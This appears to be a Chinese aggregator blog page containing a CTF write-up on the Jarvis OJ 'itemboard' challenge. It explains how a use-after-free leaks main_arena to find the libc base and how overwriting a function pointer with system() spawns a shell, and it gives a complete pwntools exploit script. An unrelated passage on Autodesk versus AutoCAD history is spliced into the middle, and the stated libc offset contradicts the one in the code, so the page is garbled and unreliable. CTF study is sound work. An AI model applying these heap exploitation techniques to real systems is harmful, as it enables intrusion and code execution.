百科狗-知识改变命运!
--

UAF获取main_arena地址泄露libc基址

百变鹏仔1年前 (2023-12-02)阅读数 21#综合百科
文章标签功能地址

linux中使用free()进行内存释放时,不大于 max_fast (默认值为 64B)的 chunk 被释放后,首先会被放到 fast bins中,大于max_fast的chunk或者fast bins 中的空闲 chunk 合并后会被放入unsorted bin中(参考glibc内存管理ptmalloc源码分析一文)

而在fastbin为空时,unsortbin的fd和bk指向自身main_arena中,该地址的相对偏移值存放在libc.so中,可以通过use after free后打印出main_arena的实际地址,结合偏移值从而得到libc的加载地址。

Jarvis OJ一道pwn题itemboard作为一个栗子。

新建item:

其中strcpy(item->description,buf)的时候存在一个栈溢出,可以实现任意地址写。

删除item:

查看set_null()实际上一个空函数,这里free之后没有把指针置空,可以通过uaf利用。

gdb-peda的checksec查了只有NX,但是实际调试发现有PIE。

max_fast的默认值是64Bytes,调试里发现global_max_fast的值是0x80,也就是说先malloc一个0x80的内存

malloc返回给用户的地址实际上是mem指向的位置

接着free()释放

其中用户输入的数据被写上了fd和bk,都指向main_arena中的位置。

由于free后未把指针置零,我们仍然可以选择show_item功能打印description位置的数据,此时将打印出指向main_arena中的指针:

main_arena的基址存放在libc中的malloc_trim()函数中:

该libc的main_arena偏移位0x397b00,从而计算得到libc基址。

接着利用uaf可以覆盖item->name,item->description和item->free,把item->free覆盖为system的地址,“/bin/sh”可以直接放在item起始位置,结尾处用“;”隔断,中间的description随意填充。

from pwn import *

p=remote('pwn2.jarvisoj.com',9887)

e=ELF('./libc-2.19.so')

def add(name,length,descript):

p.recvuntil('choose:')

p.sendline('1')

p.recvuntil('Item name?')

p.sendline(name)

p.recvuntil("Description's len?")

p.sendline(str(length))

p.recvuntil('Description?')

p.sendline(descript)

p.recvuntil('Add Item Successfully!')

def showitem(index):

p.recvuntil('choose:')

p.sendline('3')

p.recvuntil('Which item?')

p.sendline(str(index))

def remove(index):

p.recvuntil('choose:')

p.sendline('4')

p.recvuntil('Which item?')

p.sendline(str(index))

add('A'*30,0x80,'A'*8)

add('B'*30,0x80,'A'*8)

remove(0)

showitem(0)

p.recvuntil('Description:')

arena_addr=u64(p.recv(6).ljust(8,'\x00'))-88

libc_base=arena_addr-0x3be760

system_addr=libc_base+e.symbols['system']

print 'system address: ',hex(system_addr)

remove(1)

add('C'*30,32,'CCCC')

add('D'*30,32,'DDDD')

remove(2)

remove(3)

add('EEEE',24,'/bin/sh;'+'EEEEEEEE'+p64(system_addr))

remove(2)

UAF获取main_arena地址泄露libc基址

p.interactive()

pwn题常见堆利用总结

1、所指的意思不同。

autodesk指的是一家公司,其中文名称为欧特克公司,位于美国;autocad指的是一款制作软件,是由autodesk开发的。

2、包含范围不同。

autodesk的产品有autocad、Autodesk 3ds Max、Autodesk Civil 3D等多个领域软件;autocad仅仅是autodesk开发的软件中的一款。

扩展资料:

autocad部分版本:

1、AutoCADV(ersion)1.0:1982.11正式出版,容量为一张360Kb的软盘,无菜单,命令需要背,其执行方式类似DOS命令。

2、AutoCAD V1.2:1983.4出版,具备尺寸标注功能。

3、AutoCADV1.3:1983.8,具备文字对齐及颜色定义功能,图形输出功能。

4、AutoCAD 2001:2000.5,增强了图形数据的网络发布和搜索功能,增加了网络会议功能。

5、AutoCAD 2004(R16.0):2003.7,增强了文件打开、外部参照、DWF文件格式、CAD标准、设计中心、i-drop等功能,增加了工具选项板、真彩色、密码保护、数字签字等功能。

6、AutoCAD 2008:2007,12,3,提供了创建、展示、记录和共享构想所需的所有功能。

7、AutoCAD 2009:2008.5 软件整合了制图和可视化,加快了任务的执行,能够满足了个人用户的需求和偏好,能够更快地执行常见的CAD任务,更容易找到那些不常见的命令。

8、AutoCAD 2017:2016年3月提供了用于创建和编辑中心线与中心标记。可以从“注释”功能区选项卡访问“中心标记”和“中心线”工具。

百度百科-autodesk公司

百度百科-AutoCAD

这里记录一些ctf中堆pwn的板子,总结学习

题目漏洞就是edit的offbyone,数据输入用的scanf输入

题目就是offbynull漏洞,一般可申请的堆都在0x100作业

题目限制堆数量10个,for循环编号赋予

基本上无size限制,仅有offbynull漏洞,libc-2.31

伪造出一个chunk,使其能够绕过这两个检测。

一个是向低地值合并的检测:

另一个就是unlink时候的检测

漏洞是UAF,但每次申请的size大小不可控,导致无法准确申请到想要的堆

尽量避免doublefree的申请,降低爆破次数

鹏仔微信 15129739599 鹏仔QQ344225443 鹏仔前端 pjxi.com 共享博客 sharedbk.com

免责声明:我们致力于保护作者版权,注重分享,当前被刊用文章因无法核实真实出处,未能及时与作者取得联系,或有版权异议的,请联系管理员,我们会立即处理! 部分文章是来自自研大数据AI进行生成,内容摘自(百度百科,百度知道,头条百科,中国民法典,刑法,牛津词典,新华词典,汉语词典,国家院校,科普平台)等数据,内容仅供学习参考,不准确地方联系删除处理!邮箱:344225443@qq.com)

图片声明:本站部分配图来自网络。本站只作为美观性配图使用,无任何非法侵犯第三方意图,一切解释权归图片著作权方,本站不承担任何责任。如有恶意碰瓷者,必当奉陪到底严惩不贷!

内容声明:本文中引用的各种信息及资料(包括但不限于文字、数据、图表及超链接等)均来源于该信息及资料的相关主体(包括但不限于公司、媒体、协会等机构)的官方网站或公开发表的信息。部分内容参考包括:(百度百科,百度知道,头条百科,中国民法典,刑法,牛津词典,新华词典,汉语词典,国家院校,科普平台)等数据,内容仅供参考使用,不准确地方联系删除处理!本站为非盈利性质站点,本着为中国教育事业出一份力,发布内容不收取任何费用也不接任何广告!)